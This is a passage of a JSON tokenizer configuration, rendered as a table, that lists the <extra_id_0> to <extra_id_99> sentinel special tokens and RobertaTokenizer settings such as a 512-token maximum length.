| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32080": { | |
| "content": "<extra_id_19>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32081": { | |
| "content": "<extra_id_18>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32082": { | |
| "content": "<extra_id_17>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32083": { | |
| "content": "<extra_id_16>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32084": { | |
| "content": "<extra_id_15>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32085": { | |
| "content": "<extra_id_14>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32086": { | |
| "content": "<extra_id_13>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32087": { | |
| "content": "<extra_id_12>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32088": { | |
| "content": "<extra_id_11>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32089": { | |
| "content": "<extra_id_10>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32090": { | |
| "content": "<extra_id_9>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32091": { | |
| "content": "<extra_id_8>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32092": { | |
| "content": "<extra_id_7>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32093": { | |
| "content": "<extra_id_6>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32094": { | |
| "content": "<extra_id_5>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32095": { | |
| "content": "<extra_id_4>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32096": { | |
| "content": "<extra_id_3>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32097": { | |
| "content": "<extra_id_2>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32098": { | |
| "content": "<extra_id_1>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| }, | |
| "32099": { | |
| "content": "<extra_id_0>", | |
| "lstrip": true, | |
| "normalized": true, | |
| "rstrip": false, | |
| "single_word": false, | |
| "special": true | |
| } | |
| }, | |
| "additional_special_tokens": [ | |
| "<extra_id_99>", | |
| "<extra_id_98>", | |
| "<extra_id_97>", | |
| "<extra_id_96>", | |
| "<extra_id_95>", | |
| "<extra_id_94>", | |
| "<extra_id_93>", | |
| "<extra_id_92>", | |
| "<extra_id_91>", | |
| "<extra_id_90>", | |
| "<extra_id_89>", | |
| "<extra_id_88>", | |
| "<extra_id_87>", | |
| "<extra_id_86>", | |
| "<extra_id_85>", | |
| "<extra_id_84>", | |
| "<extra_id_83>", | |
| "<extra_id_82>", | |
| "<extra_id_81>", | |
| "<extra_id_80>", | |
| "<extra_id_79>", | |
| "<extra_id_78>", | |
| "<extra_id_77>", | |
| "<extra_id_76>", | |
| "<extra_id_75>", | |
| "<extra_id_74>", | |
| "<extra_id_73>", | |
| "<extra_id_72>", | |
| "<extra_id_71>", | |
| "<extra_id_70>", | |
| "<extra_id_69>", | |
| "<extra_id_68>", | |
| "<extra_id_67>", | |
| "<extra_id_66>", | |
| "<extra_id_65>", | |
| "<extra_id_64>", | |
| "<extra_id_63>", | |
| "<extra_id_62>", | |
| "<extra_id_61>", | |
| "<extra_id_60>", | |
| "<extra_id_59>", | |
| "<extra_id_58>", | |
| "<extra_id_57>", | |
| "<extra_id_56>", | |
| "<extra_id_55>", | |
| "<extra_id_54>", | |
| "<extra_id_53>", | |
| "<extra_id_52>", | |
| "<extra_id_51>", | |
| "<extra_id_50>", | |
| "<extra_id_49>", | |
| "<extra_id_48>", | |
| "<extra_id_47>", | |
| "<extra_id_46>", | |
| "<extra_id_45>", | |
| "<extra_id_44>", | |
| "<extra_id_43>", | |
| "<extra_id_42>", | |
| "<extra_id_41>", | |
| "<extra_id_40>", | |
| "<extra_id_39>", | |
| "<extra_id_38>", | |
| "<extra_id_37>", | |
| "<extra_id_36>", | |
| "<extra_id_35>", | |
| "<extra_id_34>", | |
| "<extra_id_33>", | |
| "<extra_id_32>", | |
| "<extra_id_31>", | |
| "<extra_id_30>", | |
| "<extra_id_29>", | |
| "<extra_id_28>", | |
| "<extra_id_27>", | |
| "<extra_id_26>", | |
| "<extra_id_25>", | |
| "<extra_id_24>", | |
| "<extra_id_23>", | |
| "<extra_id_22>", | |
| "<extra_id_21>", | |
| "<extra_id_20>", | |
| "<extra_id_19>", | |
| "<extra_id_18>", | |
| "<extra_id_17>", | |
| "<extra_id_16>", | |
| "<extra_id_15>", | |
| "<extra_id_14>", | |
| "<extra_id_13>", | |
| "<extra_id_12>", | |
| "<extra_id_11>", | |
| "<extra_id_10>", | |
| "<extra_id_9>", | |
| "<extra_id_8>", | |
| "<extra_id_7>", | |
| "<extra_id_6>", | |
| "<extra_id_5>", | |
| "<extra_id_4>", | |
| "<extra_id_3>", | |
| "<extra_id_2>", | |
| "<extra_id_1>", | |
| "<extra_id_0>" | |
| ], | |
| "bos_token": "<s>", | |
| "clean_up_tokenization_spaces": false, | |
| "cls_token": "<s>", | |
| "eos_token": "</s>", | |
| "errors": "replace", | |
| "extra_special_tokens": {}, | |
| "mask_token": "<mask>", | |
| "model_max_length": 512, | |
| "pad_token": "<pad>", | |
| "sep_token": "</s>", | |
| "tokenizer_class": "RobertaTokenizer", | |
| "trim_offsets": true, | |
| "unk_token": "<unk>" | |
| } | |